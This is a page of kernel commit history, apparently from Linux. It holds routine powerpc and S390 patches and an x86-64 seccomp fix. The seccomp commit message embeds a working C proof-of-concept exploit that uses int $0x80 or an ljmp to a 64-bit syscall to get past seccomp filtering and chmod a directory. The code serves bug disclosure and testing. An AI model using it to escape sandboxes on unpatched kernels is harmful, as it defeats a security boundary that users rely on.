Skip to content
  1. Mar 17, 2009
  2. Mar 02, 2009
    • Roland McGrath's avatar
      x86-64: seccomp: fix 32/64 syscall hole · 5b101740
      Roland McGrath authored
      
      
      On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
      ljmp, and then use the "syscall" instruction to make a 64-bit system
      call.  A 64-bit process make a 32-bit system call with int $0x80.
      
      In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
      the wrong system call number table.  The fix is simple: test TS_COMPAT
      instead of TIF_IA32.  Here is an example exploit:
      
      	/* test case for seccomp circumvention on x86-64
      
      	   There are two failure modes: compile with -m64 or compile with -m32.
      
      	   The -m64 case is the worst one, because it does "chmod 777 ." (could
      	   be any chmod call).  The -m32 case demonstrates it was able to do
      	   stat(), which can glean information but not harm anything directly.
      
      	   A buggy kernel will let the test do something, print, and exit 1; a
      	   fixed kernel will make it exit with SIGKILL before it does anything.
      	*/
      
      	#define _GNU_SOURCE
      	#include <assert.h>
      	#include <inttypes.h>
      	#include <stdio.h>
      	#include <linux/prctl.h>
      	#include <sys/stat.h>
      	#include <unistd.h>
      	#include <asm/unistd.h>
      
      	int
      	main (int argc, char **argv)
      	{
      	  char buf[100];
      	  static const char dot[] = ".";
      	  long ret;
      	  unsigned st[24];
      
      	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
      	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
      
      	#ifdef __x86_64__
      	  assert ((uintptr_t) dot < (1UL << 32));
      	  asm ("int $0x80 # %0 <- %1(%2 %3)"
      	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
      	  ret = snprintf (buf, sizeof buf,
      			  "result %ld (check mode on .!)\n", ret);
      	#elif defined __i386__
      	  asm (".code32\n"
      	       "pushl %%cs\n"
      	       "pushl $2f\n"
      	       "ljmpl $0x33, $1f\n"
      	       ".code64\n"
      	       "1: syscall # %0 <- %1(%2 %3)\n"
      	       "lretl\n"
      	       ".code32\n"
      	       "2:"
      	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
      	  if (ret == 0)
      	    ret = snprintf (buf, sizeof buf,
      			    "stat . -> st_uid=%u\n", st[7]);
      	  else
      	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
      	#else
      	# error "not this one"
      	#endif
      
      	  write (1, buf, ret);
      
      	  syscall (__NR_exit, 1);
      	  return 2;
      	}
      
      Signed-off-by: default avatarRoland McGrath <roland@redhat.com>
      [ I don't know if anybody actually uses seccomp, but it's enabled in
        at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
      Signed-off-by: default avatarLinus Torvalds <torvalds@linux-foundation.org>
      5b101740
  3. Feb 13, 2009
  4. Jan 16, 2009
  5. Jan 15, 2009
  6. Jan 14, 2009
  7. Jan 13, 2009
  8. Jan 08, 2009
  9. Jan 07, 2009
  10. Jan 06, 2009
  11. Dec 31, 2008
  12. Dec 30, 2008
    • Anton Vorontsov's avatar
      powerpc/qe: Fix few build errors with CONFIG_QUICC_ENGINE=n · be11d3b3
      Anton Vorontsov authored
      
      
      Some 83xx boards were not ready for the optional QUICC Engine support.
      
      This patch fixes following build errors:
      
      arch/powerpc/platforms/built-in.o: In function `flush_disable_caches':
      (.text+0xb308): undefined reference to `par_io_data_set'
      arch/powerpc/platforms/built-in.o: In function `flush_disable_caches':
      (.text+0xb334): undefined reference to `par_io_data_set'
      arch/powerpc/platforms/built-in.o: In function `flush_disable_caches':
      (.text+0xb408): undefined reference to `qe_ic_get_high_irq'
      arch/powerpc/platforms/built-in.o: In function `flush_disable_caches':
      (.text+0xb478): undefined reference to `qe_ic_get_low_irq'
      arch/powerpc/platforms/built-in.o: In function `mpc832x_spi_init':
      mpc832x_rdb.c:(.init.text+0x574c): undefined reference to `par_io_config_pin'
      mpc832x_rdb.c:(.init.text+0x5768): undefined reference to `par_io_config_pin'
      mpc832x_rdb.c:(.init.text+0x5784): undefined reference to `par_io_config_pin'
      mpc832x_rdb.c:(.init.text+0x57a0): undefined reference to `par_io_config_pin'
      mpc832x_rdb.c:(.init.text+0x57bc): undefined reference to `par_io_config_pin'
      arch/powerpc/platforms/built-in.o:mpc832x_rdb.c:(.init.text+0x57d8): more undefined references to `par_io_config_pin' follow
      arch/powerpc/platforms/built-in.o: In function `mpc836x_rdk_init_IRQ':
      mpc836x_rdk.c:(.init.text+0x5e84): undefined reference to `qe_ic_init'
      arch/powerpc/platforms/built-in.o: In function `mpc836x_rdk_setup_arch':
      mpc836x_rdk.c:(.init.text+0x5f10): undefined reference to `qe_reset'
      make: *** [.tmp_vmlinux1] Error 1
      
      Signed-off-by: default avatarAnton Vorontsov <avorontsov@ru.mvista.com>
      Signed-off-by: default avatarKumar Gala <galak@kernel.crashing.org>
      be11d3b3
    • Anton Vorontsov's avatar
      powerpc/qe: Implement QE Pin Multiplexing API · 1b9e8904
      Anton Vorontsov authored
      
      
      With this API we're able to set a QE pin to the GPIO mode or a dedicated
      peripheral function.
      
      The API relies on the fact that QE gpio controllers are registered. If
      they aren't, the API won't work (gracefully though).
      
      There is one caveat though: if anybody occupied the node->data before us,
      or overwrote it, then bad things will happen. Luckily this is all in the
      platform code that we fully control, so this should never happen.
      
      I could implement more checks (for example we could create a list of
      successfully registered QE controllers, and compare the node->data in the
      qe_pin_request()), but this is unneeded if nobody is going to do silly
      things behind our back.
      
      Signed-off-by: default avatarAnton Vorontsov <avorontsov@ru.mvista.com>
      Signed-off-by: default avatarKumar Gala <galak@kernel.crashing.org>
      1b9e8904
  13. Dec 28, 2008
  14. Dec 26, 2008
  15. Dec 25, 2008
    • Martin Schwidefsky's avatar
      [S390] arch_setup_additional_pages arguments · fc5243d9
      Martin Schwidefsky authored
      
      
      arch_setup_additional_pages currently gets two arguments, the binary
      format descripton and an indication if the process uses an executable
      stack or not. The second argument is not used by anybody, it could
      be removed without replacement.
      
      What actually does make sense is to pass an indication if the process
      uses the elf interpreter or not. The glibc code will not use anything
      from the vdso if the process does not use the dynamic linker, so for
      statically linked binaries the architecture backend can choose not
      to map the vdso.
      
      Acked-by: default avatarIngo Molnar <mingo@elte.hu>
      Signed-off-by: default avatarMartin Schwidefsky <schwidefsky@de.ibm.com>
      fc5243d9
  16. Dec 23, 2008
Loading